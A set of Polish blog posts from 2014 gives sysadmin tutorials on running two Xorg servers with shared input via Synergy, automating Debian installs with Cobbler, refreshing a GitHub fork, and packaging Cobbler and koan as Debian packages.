Przykład użycia:<br />
<br />
<div class="code">
<div class="code"><br />
code<br />
</div></div>
Czyżby w końcu nastał czas na długo odkładaną reaktywację bloga?adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-31939083510042015032014-05-30T01:35:00.003+02:002014-12-29T21:28:20.553+01:00Multi Xorg Server, one input<br />
Sytuacja wygląda tak: mamy maszynę z Debian Wheezy a w niej dwie karty graficzne, każda z przynajmniej dwoma wyjściami na monitor. Nie ważne jakie modele. Ważne, że karty są dwóch różnych producentów i nie będą ze sobą współpracować - w moim konkretnym przypadku:<br />
<br />
<a name='more'></a><br /><br />
<i><b># lspci | grep -i vga</b></i><br />
<i>01:00.0 VGA compatible controller: Advanced Micro Devices [AMD] nee ATI Caicos [Radeon HD 6450]<br />03:00.0 VGA compatible controller: NVIDIA Corporation GF119 [GeForce GT 610] (rev a1)</i><br />
<br />
Konfiguracja obu tych kart na jednym X serwerze kończy się albo komunikatem <i>"Segmentation fault"</i>, albo pustką na ekranie zamiast środowiska graficznego. Co nam pozostaje oprócz wymiany którejś z kart? Odpalenie kilku X serwerów w taki sposób, by każdy z nich korzystał tylko ze swojej karty graficznej, a całością dało się bez problemu posługiwać przy pomocy jednej myszki i klawiatury.<br />
<br />
Wbrew pozorom nie jest to jakieś strasznie trudne. Zakładam, że znamy jako tako składnię pliku /etc/X11/xorg.conf i umiemy przy jego pomocy skonfigurować sobie X-sy na zwykłej maszynie z jednym monitorem. Doświadczenie w konfiguracji z dwoma monitorami również może się przydać ;]<br />
<br />
Na początek warto przeczytać <a href="https://wiki.debian.org/DualMonitorDualServerOneInput" target="_blank">ten dokument</a>. Oczywiście jest stary i nie aktualny, ale naprowadził mnie na właściwy trop ;) Najpierw konfigurujemy główną kartę graficzną (<i>ang. primary display</i>). W moim przypadku<i> Radeon HD 6450</i> jest bez wątpienia mocniejszą kartą jak "low endowy" <i>GeForce GT 610</i>. Konfiguracja w pliku xorg.conf z użyciem RandR wygląda tak:<br />
<br />
<i><b># cat /etc/X11/xorg.conf</b></i><br />
<i>Section "ServerLayout"<br /> Identifier "display0"<br /> Screen 0 "Screen0" 0 0<br /> Option "IsolateDevice" "1:0:0"<br />EndSection<br /><br />Section "Monitor"<br /> Identifier "Monitor1"<br /> Option "DPMS" "true"<br /><br /> Option "PreferredMode" "1920x1080"<br /> Option "TargetRefresh" "60"<br /> Option "Position" "0 0"<br />EndSection<br /><br />Section "Monitor"<br /> Identifier "Monitor2"<br /> Option "RightOf" "Monitor1"<br /> Option "DPMS" "true"<br /><br /> Option "PreferredMode" "1280x1024"<br /> Option "TargetRefresh" "75"<br /> Option "Position" "1920 0"<br />EndSection<br /><br />Section "Device"<br /> Identifier "Radeon HD 6450"<br /> Driver "fglrx"<br /> BusID "PCI:1:0:0"<br /><br /> Option "EnableRandR12" "true"<br /> Option "Monitor-DFP2" "Monitor1"<br /> Option "Monitor-CRT1" "Monitor2"<br />EndSection</i><br />
<i><br /></i>
<i>Section "Screen"<br /> Identifier "Screen0"<br /> Device "Radeon HD 6450"<br /> DefaultDepth 24<br /> SubSection "Display"<br /> Viewport 0 0<br /> Virtual 3200 1080<br /> Depth 24<br /> EndSubSection<br />EndSection</i><br />
<br />
Jak widać, definiuje jeden wirtualny ekran złożony z dwóch monitorów. Jedyna magiczna opcja to <i>"IsolateDevice"</i>, która stara się przypisać naszą konfiguracje tylko do urządzenia widocznego na szynie pci pod adresem 1:0:0, czyli karty Radeon. Pora na konfiguracje drugiego serwera X, którą umieścimy w pliku /etc/X11/xorg.conf.1 :<br />
<br />
<i><b># cat /etc/X11/xorg.conf.1</b></i><br />
<i>Section "ServerLayout"<br /> Identifier "display1"<br /> Screen 0 "Screen0" 0 0<br /><br /> Option "IsolateDevice" "3:0:0"<br /> InputDevice "Generic Keyboard" "CoreKeyboard"<br /> InputDevice "Configured Mouse" "CorePointer"<br /> Option "AutoAddDevices" "false"<br /> Option "AutoEnableDevices" "false"<br />EndSection<br /><br />Section "InputDevice"<br /> Identifier "Generic Keyboard"<br /> Driver "void"<br /> Option "CoreKeyboard"<br />EndSection<br /><br />Section "InputDevice"<br /> Identifier "Configured Mouse"<br /> Driver "void"<br /> Option "CorePointer"<br />EndSection<br /><br />Section "Monitor"<br /> Identifier "Monitor0"<br /> Option "DPMS" "true"<br /><br /> Option "PreferredMode" "1280x1024"<br /> Option "TargetRefresh" "75"<br /> Option "Position" "0 0"<br />EndSection</i><br />
<i><br /></i>
<i>Section "Device"<br /> Identifier "GeForce GT 610"<br /> Driver "nouveau"<br /># Driver "nvidia"<br /> BusID "PCI:3:0:0"<br /><br /> Option "EnableRandR12" "true"<br /> Option "Monitor-DFP0" "Monitor0"<br />EndSection<br /><br />Section "Screen"<br /> Identifier "Screen0"<br /> Device "GeForce GT 610"<br /> DefaultDepth 24<br /> SubSection "Display"<br /> Viewport 0 0<br /> Depth 24<br /> EndSubSection<br />EndSection</i><br />
<br />
Tutaj sprawa jest tylko odrobinę bardziej skomplikowana. Ponieważ nie chcemy by drugi X serwer przejmował wejście z klawiatury i myszki (inaczej pisalibyśmy na obu serwerach X jednocześnie), zdefiniowaliśmy te urządzenia podając jako sterownik <i>"void"</i> (wymagany pakiet <i>xserver-xorg-input-void</i>). Sterownik ten, to po prostu pusta wydmuszka która umożliwia uruchomienie X serwera bez klawiatury i myszki. Dodatkowo wyłączamy opcje <i>"AutoAddDevices" </i>oraz<i> "AutoEnableDevices"</i>, inaczej myszka i klawiatura zostałyby i tak automatycznie wykryte - a tego przecież nie chcemy.<br />
<br />
W tym momencie możemy już wystartować środowisko graficzne. Ważne jest to, by oba serwery wystartowały na różnych wirtualnych konsolach (parametry <i>vt8 </i>i <i>vt9</i>) oraz by było pomiędzy nimi jak najmniej interakcji (parametry <i>-novtswitch -sharevts</i>). Zmienna <i>DISPLAY </i>również musi odpowiednio wskazywać na oznaczenie "ekranu" z którym odpalamy Xorg (parametry <i>:0</i> i <i>:1</i>).<br />
<br />
Podstawowy X serwer możemy odpalić posługując się standardowym skryptem startowym (polecenie <i>service)</i>, lub korzystając z takiego skryptu :<br />
<br />
<i><b># cat display0.sh</b></i><br />
<i>#!/bin/bash<br /><br />export DISPLAY=:0.0<br /><br />/usr/bin/Xorg :0 -config /etc/X11/xorg.conf -audit 0 -br -verbose -novtswitch -nolisten tcp vt8 -isolateDevice PCI:1:0:0 &<br />sleep 10<br /><br />sudo -u adrb /usr/bin/gnome-session &<br />sudo -u adrb /usr/bin/gnome-screensaver-command --lock</i><br />
<br />
Jak widać, korzystam z <b>GNOME</b>, ale z <b>KDE</b> również nie powinno być problemu. Uruchamiając GNOME przy pomocy <i>gnome-session</i> z poziomu mojego użytkownika (adrb) od razu się zalogujemy do środowiska, z tego powodu następne polecenie wymusza zablokowanie ekranu - chodzi o to byśmy musieli podać hasło. Drugą kartę uruchamiamy podobnym skryptem :<br />
<br />
<i><b># cat display1.sh</b></i><br />
<i>#!/bin/bash<br /><br />export DISPLAY=:1.0<br /><br />/usr/bin/Xorg :1 -config /etc/X11/xorg.conf.1 -audit 0 -br -verbose -novtswitch -nolisten tcp vt9 -isolateDevice PCI:3:0:0 -sharevts &<br />sleep 10</i><br />
<i><br />sudo -u adrb /usr/bin/gnome-session &<br />sudo -u adrb /usr/bin/gnome-screensaver-command --lock </i><br />
<br />
Polecenia powyżej, wykonujemy oczywiście jako <i>root</i>. Na koniec zostało nam skonfigurować współdzielenie klawiatury i myszki. Można do tego celu próbować wykorzystać program <i>x2x</i>, ale moim zdaniem o wiele bardziej uniwersalny i bezbolesny jest <i>Synergy</i>, którego konfiguracja będzie wyglądać tak :<br />
<br />
<i><b># cat /etc/synergy.conf</b></i><br />
<i># synergy configuration file<br />#<br /><br />section: screens<br /> display0:<br /> display1:<br />end<br /><br />section: links<br /> display0:<br /> left = display1<br /><br /> display1:<br /> right = display0<br />end</i><br />
<br />
Możemy już startować serwer synergy :<br />
<br />
<i><b>$ synergys --daemon --config /etc/synergy.conf --name display0 -a 127.0.0.1</b></i><br />
<br />
Oraz klienta, którego przypniemy do drugiego serwera X :<br />
<br />
<b><i>$ synergyc --name display1 --display :1 localhost</i></b><br />
<br />
Pozostaje życzyć udanej pracy na wielu monitorach na raz ;]<br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-15345061089728191692014-04-26T01:30:00.000+02:002014-12-29T21:28:56.445+01:00Cobbler i automatyczna instalacja Debiana<br />
Na początek warto wspomnieć, że Cobbler posiada dosyć dobrą <a href="http://www.cobblerd.org/manuals/2.6.0/" target="_blank">dokumentacje </a>- być może nie jest bardzo szczegółowa, ale opisuje wszystko to co chcemy wiedzieć w przystępny sposób. Samego procesu instalacji pod Debianem, nie będę tutaj opisywać. Dzięki <a href="http://arian-it.blogspot.com/2014/04/cobbler-i-paczkowanie-pod-debianem.html" target="_blank">tym zmianom</a> i cytowanej wyżej dokumentacji, nie powinna ona stwarzać nikomu wielkich problemów. Moim zdaniem najlepsza metoda instalacji pod Debianem na tą chwile, to ściągniecie źródeł najnowszego stabilnego wydania z github-a i zbudowanie debianowych paczek. Dla naprawdę leniwych, podaję link do <a href="http://download.opensuse.org/repositories/home:/libertas-ict:/cobbler26/Debian_7.0/" target="_blank">testowych pakietów</a> - <b>nie</b> polecam. Jeżeli coś nie działa proszę zgłoście to na odpowiednią<a href="https://lists.fedorahosted.org/mailman/listinfo" target="_blank"> mail listę</a>.<br />
<br />
<a name='more'></a><br /><br />
Do rzeczy. Proces instalacji Linuksa możemy zautomatyzować na kilka sposobów, ale zazwyczaj polega to na utworzeniu pliku zawierającego po prostu odpowiedzi na pytania które zadaje nam instalator. Dzięki temu plikowi, instalator zna już odpowiedź na pytanie, więc nie wyświetla monitu tylko wykonuje swoją pracę dalej. Pod systemami z rodziny RedHat, instalatorem zazwyczaj jest Anaconda która korzysta z mechanizmu <i>kickstart</i>. Debian i systemy od niego pochodzące używa za to narzędzia o nazwie <i>DebianInstaller</i>, oraz mechanizmu <i>preseed</i>. O tym jak działa <i>preseed </i>możemy poczytać <a href="https://www.debian.org/releases/stable/i386/apb.html" target="_blank">tutaj</a>, natomiast gotowy przykład dla Wheezy-ego (najnowsze stabilne wydanie Debiana) <a href="https://www.debian.org/releases/wheezy/example-preseed.txt" target="_blank">znajdziemy tu</a>.<br />
<br />
Nie chciałbym się specjalnie zagłębiać w składnie plików <i>preseed</i>, wszystko to można bez problemu wyczytać z dokumentacji Debiana, a cytowany wyżej przykład jest zaopatrzony w sporą liczbę komentarzy. Naszym zadaniem, jest przystosowanie pliku <i>preseed</i> do użycia z Cobbler-em - sprawa mocno indywidualna. Dla ciekawych i leniwych załączam <a href="https://sites.google.com/site/arianitblog/files/debian7-preseed.tar.gz" target="_blank">podstawowy szablon</a> z którego korzystam. Pamiętajcie, że to jest szablon który Cobbler trawi z pomocą silnika <a href="http://www.cheetahtemplate.org/docs/users_guide_html/" target="_blank">Cheetah</a>, a co za tym idzie nie wszystko co zaczyna się od znaczka # to komentarz ;)<br />
<br />
Po utworzeniu pliku <i>preseed</i> w odpowiednim katalogu, importujemy dystrybucję do Cobblera (korzystamy z wersji netinstall):<br />
<br />
<i><b># cd /tmp</b></i><br />
<i><b># wget http://ftp.acc.umu.se/debian-cd/7.4.0/amd64/iso-cd/debian-7.4.0-amd64-netinst.iso</b></i><br />
<i><b># mount -o loop /tmp/debian-7.4.0-amd64-netinst.iso /mnt</b></i><br />
<i><b># cobbler import --breed debian --os-version wheezy --name debian-7-x86_64 --arch x86_64 --path /mnt</b></i><br />
<i><b># umount /mnt</b></i><br />
<br />
Niestety nośniki instalacyjne Debian-a, w przeciwieństwie do RedHat-ów, nie zawierają pliku <i>.treeinfo</i>. To właśnie dzięki niemu, narzędzie koan orientuje się w skąd pobrać jądro systemu oraz obraz initrd. Jesteśmy więc zmuszeni utworzyć go ręcznie w katalogu gdzie Cobbler zaimportował nasz obraz iso, np:<br />
<br />
<b><i># cat > /srv/www/cobbler/links/debian-7-x86_64/.treeinfo</i></b><br />
<i>[general]<br />family = Debian<br />timestamp = 1385732530.12<br />variant =<br />totaldiscs = 1<br />version = 7.0<br />discnum = 1<br />packagedir =<br />arch = x86_64<br /><br />[images-x86_64]<br />kernel = linux<br />initrd = initrd.gz<br />boot.iso = boot/grub/boot.iso</i><br />
<b><i>^C</i></b><br />
<br />
Katalog <i>debian-7-x86_64</i> jest nazwą profilu utworzonego podczas importu dystrybucji. Kolejny ważny krok to edycja naszego profilu, czyli przede wszystkim wskazanie właściwego pliku <i>preseed</i> np:<br />
<br />
<b><i># cobbler profile edit --name=debian-7-x86_64 --kickstart=/var/lib/cobbler/kickstarts/debian-7-wheezy.seed</i></b><br />
<br />
Jeżeli nie chcemy by instalacja systemu startowała z użyciem serwera DHCP, podajemy jeszcze jądru Linuksa odpowiedni parametr :<br />
<br />
<b><i># cobbler profile edit --name=debian-7-x86_64 --kopts="netcfg/disable_dhcp=true"</i></b><br />
<br />
Przy okazji jedna ważna uwaga. Dokumentacja Debiana Wheezy mówi nam, że opcja <i>disable_dhcp</i> jest przestarzała i należy zamiast niej użyć <i>netcfg/disable_autoconfig</i> - nie próbujcie, dokumentacja zawiera błąd :) Jeżeli podobny błąd popełnimy w pliku <i>preseed</i>, to system albo wstanie bez skonfigurowanej karty sieciowej, albo użyje auto-konfiguracji z DHCP! Prawdopodobnie dopiero następna wersja systemu (Debian Jessie), będzie zawierać implementacje zgodną z dokumentacją.<br />
<br />
Ostatnia rzecz jaka nam została to dodanie definicji nowego systemu. Przed wykonaniem tego kroku, trzeba pamiętać o skonfigurowaniu odpowiedniego wpisu w DNS. Chodzi o to by pełna nazwa systemu (FQDN) była rozwiązywana przez DNS i podawała odpowiedni adres ip. Cobbler potrafi wykonać ten krok automatycznie, jednak w tym momencie pominę szczegóły takiej konfiguracji. To dobry temat na następny wpis ;)<br />
<br />
<b><i># cobbler system add --name=test.local --hostname=test.local --profile=debian-7-x86_64 --ip-address=192.168.5.222 --subnet=255.255.255.0 --gateway=192.168.5.1 --name-servers=192.168.5.1 --mac=random --static=true --interface=eth0 --server=cobbler.local --management=true --virt-type=kvm --virt-file-size=10 --virt-path=vg01 --virt-ram=2048 --virt-cpus=2</i></b><br />
<br />
Jak pewnie zauważyliście, preferuje ustawienie statycznego adresu ip. Jeden z kluczowych parametrów to "<i>--management=true</i>", mówiący że ten interfejs (w tym przypadku eth0) należy użyć podczas instalacji systemu. Reszta parametrów jest dosyć dobrze opisana w dokumentacji i nie ma sensu jej tutaj powtarzać.<br />
<br />
Nie pozostaje nam nic innego jak zalogować się na fizyczną maszyne i zainstalować system przy użyciu koan, np:<br />
<br />
<b><i># koan --virt --system=test.local --static-interface=eth0 --server=cobbler.local</i></b><br />
<br />
Gdy koan skończy pracę, a nowa maszyna wirtualna wystartuje, możemy sprawdzić na jakim porcie uruchomiła serwer VNC, a potem połączyć się przez klienta VNC by obserwować czy instalacja przebiega prawidłowo :<br />
<br />
<b><i># virsh vncdisplay test.local</i></b><br />
<br />
Oczywiście serwer VNC zostanie uruchomiony, gdy skonfigurowaliśmy opcje <i>vnc_listen</i> i <i>vnc_password</i> w pliku <i>/etc/libvirt/qemu.conf</i>. Ponieważ protokół VNC jest obsługiwany przez praktycznie wszystkie systemy operacyjne (w przeciwieństwie do virt-viewer), włączenie serwer-a VNC nie jest najgorszym pomysłem ;)<br />
<br />
Na koniec dodam, że to co tutaj opisałem to minimalny zestaw kroków, koniecznych do skonfigurowania automatycznej instalacji Debiana z serwera Cobbler. Prawdziwa zabawa zaczyna się gdy chcemy by nowo instalowane maszyny były od razu skonfigurowane według naszych lub firmowych standardów.<br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-90084773516978670722014-04-23T15:05:00.002+02:002014-12-29T21:29:18.856+01:00Github i odświeżenie własnego forka<br />
To będzie przykład z życia ;) Utworzyłem sobie konto na github i zrobiłem własny fork kodu źródłowego Cobbler-a. Moim celem było wprowadzenie zmian opisanych w ostatnim poście do oficjalnego projektu.<br />
<br />
Po kilku dniach przyszła pora na kolejny zestaw kilku poprawek. Dosyć popularną zasadą w projektach open source jest to, że patche najlepiej podsyłać do bieżącej wersji kodu źródłowego (chyba że poprawiamy błąd w jakimś starym wydaniu). Pojawił się też problem - w jaki sposób odświeżyć mój fork projektu na githubie, tak by nałożyć zmiany na najnowszą wersje? Niestety w interfejsie github-a się tego nie doszukamy :/<br />
<br />
<a name='more'></a><br /><br />
1. Klonujemy naszego forka, np:<br />
<br />
<b><i>$ git clone https://github.com/adrb/cobbler.git</i></b><br />
<br />
2. Mija kilka dni i chcemy pociągnąć zmiany z głównego repozytorium, definiujemy więc zdalne źródło o nazwie <i>cobbler_upstream</i>, podając jeszcze odpowiedni adres http.<br />
<br />
<i><b>$ git remote add cobbler_upstream https://github.com/cobbler/cobbler.git</b></i><br />
<i><b>$ git remote -v</b></i><br />
<br />
3. Przełączamy się na naszą lokalną gałąź (np: master)<br />
<br />
<i><b>$ git checkout master</b></i><br />
<br />
4. Ciągniemy zmiany z głównego repozytorium (które zdefiniowaliśmy jako <i>cobbler_upstream)</i> z gałęzi master<br />
<br />
<b><i>$ git pull cobbler_upstream master</i></b><br />
<br />
5. Wypychamy zmiany do naszego lokalnego fork-u na github-ie<br />
<br />
<b><i>$ git push -u</i></b><br />
<br />
6. Tworzymy nową gałąź, wprowadzamy zmiany, wypychamy gałąź do naszego forka, tworzymy <i>"pull request"</i><br />
<br />
<br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-78431721104668971872014-04-18T02:31:00.000+02:002014-12-29T21:29:59.109+01:00Cobbler i paczkowanie pod Debianem<br />
Cobbler to narzędzie automatyzujące proces instalacji systemów Linuksowych - zarówno maszyn fizycznych jak i wirtualnych. Rzecz nie do przecenienia w dużym środowisku a i w prywatnym laboratorium też się przyda. Jak to w opensource bywa, trzeba jednak zainwestować w niego trochę czasu i chęci.<br />
<br />
<a name='more'></a><br /><br />
Cobbler jest projektem wspieranym mocno przez RedHat-a i obsługuje oprócz systemów typu RedHat i CentOS również Debiana, Ubuntu i SUSE. Jednak samo zainstalowanie i czasem użycie na czymś nie RedHat-o podobnym jest wyraźnie trudniejsze.<br />
<br />
<u><b>Uwaga: Zmiany opisane poniżej, zostały już wprowadzone do
Cobbler-a w wersji 2.6 lub nowszej. Cała instalacja Cobbler-a sprowadza
się więc tylko do sciągnięcia źródła z github-a, zbudowania paczek dla
debiana oraz ich instalacji.</b></u> <br />
<br />
Pierwsza bariera jaką mamy do przeskoczenia to instalacja. Owszem, można ściągnąć źródła i wydać magiczne polecenie w rodzaju <i>./configure && make && make install</i>, jednak każdy szanujący się admin natychmiast spaliłby się ze wstydu po takiej instalacji w środowisku produkcyjnym.<br />
<br />
Dodatkowo dochodzi jeszcze jeden problem. Cobbler składa się tak naprawdę z kilku komponentów. Jeden z nich o nazwie <b>koan </b>(od ang: <i>kickstart-over-a-network</i>) służy do instalacji maszyn wirtualnych na właściwej maszynie fizycznej. Wynika z tego, że na każdej maszynie fizycznej powinniśmy mieć możliwość użycia koan-a, ale instalowanie w tym celu całego Cobblera mija się z celem.<br />
<br />
Zróbmy więc to wszystko porządnie i jak należy, zaczynając od utworzenia paczki <i>*.deb</i> z oprogramowaniem. Kod źródłowy Cobblera jest przygotowany w taki sposób, że utworzenie paczki <i>*.deb</i> sprowadza się do wydania zaledwie kilku poleceń, tworzy jednak paczkę w rodzaju "wszystko w jedym". A nam jak już wiemy, to nie specjalnie pasuje.<br />
<br />
Zaczynamy więc kompletnie od zera i paczkujemy Cobblera w taki sposób, by w rezultacie powstały przynajmniej dwie paczki tj: właściwa z serwerem i druga zawierająca tylko koan. Na początek sciągamy źródła najnowszego stabilnego wydania - w tym momencie to wersja 2.6:<br />
<br />
<i><b>#</b> wget https://github.com/cobbler/cobbler/archive/v2.6.0.tar.gz</i><br />
<i><b>#</b> mv v2.6.0.tar.gz cobbler-2.6.0.tar.gz</i><br />
<i><b>#</b> tar -zxf cobbler-2.6.0.tar.gz</i><br />
<i><b>#</b> cd cobbler-2.6.0/</i><br />
<br />
O tym jakie pakiety są wymagane do kompilacji i co trzeba jeszcze doinstalować możemy <a href="http://www.cobblerd.org/manuals/2.6.0/2/3_-_Installing_From_Source.html" target="_blank">przeczytać tutaj</a>. Jak już sobie powiedzieliśmy, musimy utworzyć paczkę od nowa więc na start usuwamy katalog <i>debian</i>.<br />
<br />
<i># rm -rf debian</i><br />
<i># mkdir debian</i><br />
<i># cd debian </i><br />
<br />
Teraz tworzymy odpowiednie pliki. Debian posiada w internecie dobrą <a href="https://www.debian.org/doc/manuals/maint-guide/dother.en.html" target="_blank">dokumentacje</a>, więc tutaj będę pomijał szczegóły typu co dokładnie każdy plik robi, jaką ma składnie itp. Na początek plik <i>control</i> opisujący tworzone przez nas pakiety, ich zależności itp:<br />
<br />
<i># cat > control</i><br />
<br />
<i>Source: cobbler<br />Section: admin<br />Priority: optional<br />Maintainer: Jasper Poppe <jpoppe@ebay.com><br />Build-Depends: debhelper (>= 7), python-cheetah, python-yaml, git-core, python<br />Standards-Version: 3.8.0<br />Homepage: https://fedoraproject.org/cobbler<br /><br />Package: cobbler<br />Architecture: all<br />Depends: ${python:Depends}, python, apache2, libapache2-mod-python, python-support, python-yaml, python-netaddr, python-cheetah, debmirror, syslinux | syslinux-common<br />Suggests: rsync, tftpd-hpa, mkisofs, tftpd-hpa, dhcp3-server, createrepo<br />Description: Install server<br /> Cobbler is a network install server. Cobbler<br /> supports PXE, virtualized installs, and<br /> reinstalling existing Linux machines. The last two<br /> modes use a helper tool, 'koan', that<br /> integrates with cobbler. Cobbler's advanced features<br /> include importing distributions from DVDs and rsync<br /> mirrors, kickstart templating, integrated yum<br /> mirroring, and built-in DHCP/DNS Management. Cobbler has<br /> a Python and XMLRPC API for integration with other<br /> applications. There is also a web interface.<br /><br />Package: koan<br />Architecture: all<br />Depends: ${python:Depends}, python, python-support, python-yaml, python-netaddr, lvm2, libvirt-bin, virtinst, syslinux | syslinux-common<br />Suggests: rsync, tftpd-hpa, mkisofs, tftpd-hpa, dhcp3-server, createrepo, selinux-utils<br />Description: kickstart-over-a-network (koan)<br /> Koan stands for kickstart-over-a-network.<br /> It's a Cobbler helper tool that supports virtualized guests installs<br /> and reinstalling existing Linux machines.</i><br />
<i>^C </i><br />
<br />
Oraz pozostałe pliki dla pakietu cobbler mówiące jakie pliki (tworzone po kompilacji i instalacji) wejdą w skład pakietu :<br />
<br />
<i># cat > cobbler.dirs<br />usr/bin<br />usr/sbin<br />var/lib/cobbler/kickstarts<br />var/lib/cobbler/isos<br />etc/cobbler<br />etc/cobbler/power<br />etc/cobbler/pxe<br />etc/cobbler/reporting<br />etc/cobbler/zone_templates<br />var/log/cobbler/anamon<br />var/log/cobbler/kicklog<br />var/log/cobbler/syslog<br />var/log/cobbler/tasks<br />usr/share/cobbler<br />usr/share/cobbler/installer_templates<br />usr/share/man/man1<br />var/lib/cobbler/webui_sessions<br />var/lib/cobbler/webui_cache<br />^C</i><br />
<br />
<i># cat > cobbler.docs<br />README<br />^C</i><br />
<i># cat > cobbler.install<br />usr/bin/cobbler<br />usr/bin/cobblerd<br />usr/bin/cobbler-ext-nodes<br />usr/bin/ovz-install<br />usr/sbin/tftpd.py<br />usr/lib/python*/dist-packages/cobbler/*<br />usr/share/cobbler/*<br />var/lib/cobbler/*<br />usr/share/man/man1/cobbler.1.gz<br />etc/cobbler/*<br />etc/apache2/conf.d/*<br />etc/init.d/cobblerd<br />srv/www/cobbler/*<br />srv/www/cobbler_webui_content/*<br />^C</i><br />
<br />
Skrypt post-instalacyjny ustawiający właściwe uprawnienia do kilku katalogów :<br />
<br />
<i># cat > cobbler.postinst<br />#!/bin/sh<br /><br />set -e<br /><br />if [ "$1" = "configure" ] ; then<br /> chown www-data:www-data /var/lib/cobbler/webui_sessions<br /> chmod 0700 /var/lib/cobbler/webui_sessions<br /> chown www-data:www-data /var/lib/cobbler/webui_cache<br /> chmod 0700 /var/lib/cobbler/webui_sessions<br />fi<br />^C</i><br />
<br />
Na końcu, plik z ustawieniami systemowego serwisu cobblerd, który będzie widoczny jako /etc/default/cobbler, już po instalacji paczki :<br />
<br />
<i># cat > cobbler.default<br /># Defaults for cobbler initscript<br /># sourced by /etc/init.d/cobbler<br /># installed at /etc/default/cobbler by the maintainer scripts<br /><br />#<br /># This is a POSIX shell fragment<br />#<br /><br /># Additional options that are passed to the Daemon.<br />DAEMON_OPTS=""<br />^C</i><br />
<br />
Teraz pliki opisujące pakiet koan :<br />
<br />
# cat > koan.dirs<br />
usr/bin<br />
var/log/koan<br />
var/spool/koan<br />
var/lib/koan/config<br />
^C<br />
<br />
# cat > koan.install<br />
usr/bin/koan<br />
usr/lib/python*/dist-packages/koan/*<br />
usr/share/man/man1/koan.1.gz<br />
usr/bin/cobbler-register<br />
usr/share/man/man1/cobbler-register.1.gz<br />
^C<br />
<br />
Na końcu pozostał jeszcze plik <i>rules</i>, będący czymś w rodzaju <i>Makefile</i> - za wyjątkiem tego, że opisuje jak utworzyć pakiet, a nie skompilować jego kod :<br />
<br />
<i># cat > rules<br />#!/usr/bin/make -f<br /># -*- makefile -*-<br /><br />export DH_OPTIONS<br /><br /># Verbose mode<br />#export DH_VERBOSE=1<br /><br />%:<br /> dh $@ --with python2<br /><br />override_dh_auto_build:<br /> python setup.py build<br /><br />override_dh_auto_clean:<br /> dh_auto_clean<br /> rm -f docs/*.gz<br /><br />override_dh_auto_test:<br /> nosetests cobbler/*.py || true<br /><br />override_dh_auto_install:<br /> python setup.py install -f --install-layout=deb --root=$(CURDIR)/debian/tmp --install-data=/usr<br />^C</i><br />
<br />
Oraz dwa magiczne pliki opisujące pod jaką wersje Debianowego systemu paczkującego tworzymy to wszystko:<br />
<br />
<i># cat > compat<br />7<br />^C</i><br />
<i><br /></i>
<i># mkdir source</i><br />
<i># cat > source/format<br />3.0 (quilt)<br />^C</i><br />
<br />
Jeżeli paczkujecie jakiś inny progam to warto zapamiętać, że poleceniem <i>dh_make --createorig</i>, można wygenerować katalog debian wraz z szablonami plików potrzebnych do utworzenia pakietu. Wydaje się, że wszystko już gotowe. Tworzymy więc changelog poleceniem :<br />
<br />
<i># cd ..</i><br />
<i># debchange --create</i><br />
<br />
Uruchomi się edytor w którym możemy opisać co właśnie zrobiliśmy, przykładowo:<br />
<i> </i><br />
<i>cobbler (2.6.0-1) unstable; urgency=low<br /><br /> * Initial release. Orginal package splitted into two: cobbler and koan.<br /><br /> -- Adrian Brzeziński <adrbxx@gmail.com> Fri, 18 Apr 2014 18:24:22 +0200</i><br />
<br />
Po wyjściu z edytora, pojawi się plik <i>debian/changelog</i>. Wisienka na torcie to oczywiście zbudowanie paczek. Możemy użyć polecenia:<br />
<br />
<i># pdebuild</i><br />
<i># ls /var/cache/pbuilder/result/*.deb </i><br />
<br />
lub<br />
<br />
<i># dpkg-buildpackage</i><br />
<i># ls ../*.deb</i><br />
<br />
No i oczywiście instalujemy:<br />
<br />
# dpkg -i *.deb<br />
<br />
Wydawałoby się, że jesteśmy już szczęśliwi. Po drobnych poprawkach w plikach konfiguracyjnych apacha logujemy się do systemu wchodząc na adres http://maszyna_z_cobblerem/cobbler_web/ (domyślny login i hasło: cobbler/cobbler). Niestety podczas pierwszej próby instalacji przy użyciu koan, zobaczycie błąd:<br />
<br />
<i># koan --virt --static-interface eth0 --server cobbler.local --system new_host.local</i><br />
<i>- looking for Cobbler at http://cobbler.local:80/cobbler_api<br />install_tree: http://cobbler.local/cblr/links/debian-7-x86_64<br />- ['rpm', '-q', 'virt-install']<br /><type 'exceptions.OSError'><br />[Errno 2] No such file or directory<br />...</i><br />
<br />
Po wydaniu głośnego jęku zawodu, czas zakasać znowu rękawy. Błąd jest generowany przez fragment kodu w pliku <i>app.py</i> wykonujący polecenie "<i>rpm -q virt-install</i>" i jest w sumie łatwy do poprawy. Musimy zatem utworzyć łatkę, którą nałożymy na oryginalny kod źródłowy. Dokładnie do tego celu służy narzędzie <i>quilt</i>. Dla chętnych <a href="https://wiki.debian.org/UsingQuilt" target="_blank">tutaj jest opisany sposób posługiwania się quilt-em</a>. Szybka konfiguracja:<br />
<br />
<i># cat > ~/.quiltrc</i><br />
<i>QUILT_PATCHES=debian/patches<br />QUILT_NO_DIFF_INDEX=1<br />QUILT_NO_DIFF_TIMESTAMPS=1<br />QUILT_REFRESH_ARGS="-p ab"</i><br />
<i>^C</i><br />
<br />
Teraz tworzymy łatkę i na początek nadajemy jej jakąś nazwę :<br />
<br />
<i># quilt new 01_dont_check_vrit-install_with_rpm.patch</i><br />
<i># quilt add koan/app.py</i><br />
<br />
W tym miejscu nanosimy poprawki w pliku app.py - zmieniamy sposób w jaki jest wykrywana wersja <i>virt-install</i>, tak by nie używać do tego celu wywołania rpm. Następnie kończymy edycje łatki :<br />
<br />
<i># quilt refresh</i><br />
<i># quilt pop -a</i><br />
<br />
Dodajemy do <i>changelog</i>-u informacje o zmianie:<br />
<br />
<i># debchange -i</i><br />
<br />
Wpisujemy coś w rodzaju <i>"Fixed virt-install version check - support for non rpm based distributions"</i> i kompilujemy ponownie pakiet:<br />
<br />
# pdebuilt<br />
<br />
Na dzisiaj to wszytko. W następnym wpisie postaram się pokazać w jaki sposób skonfigurować Cobblera do użycia wraz z Debianem.<br />
<br />
Dla porządku załączam jeszcze plik z łatką:<br />
<br />
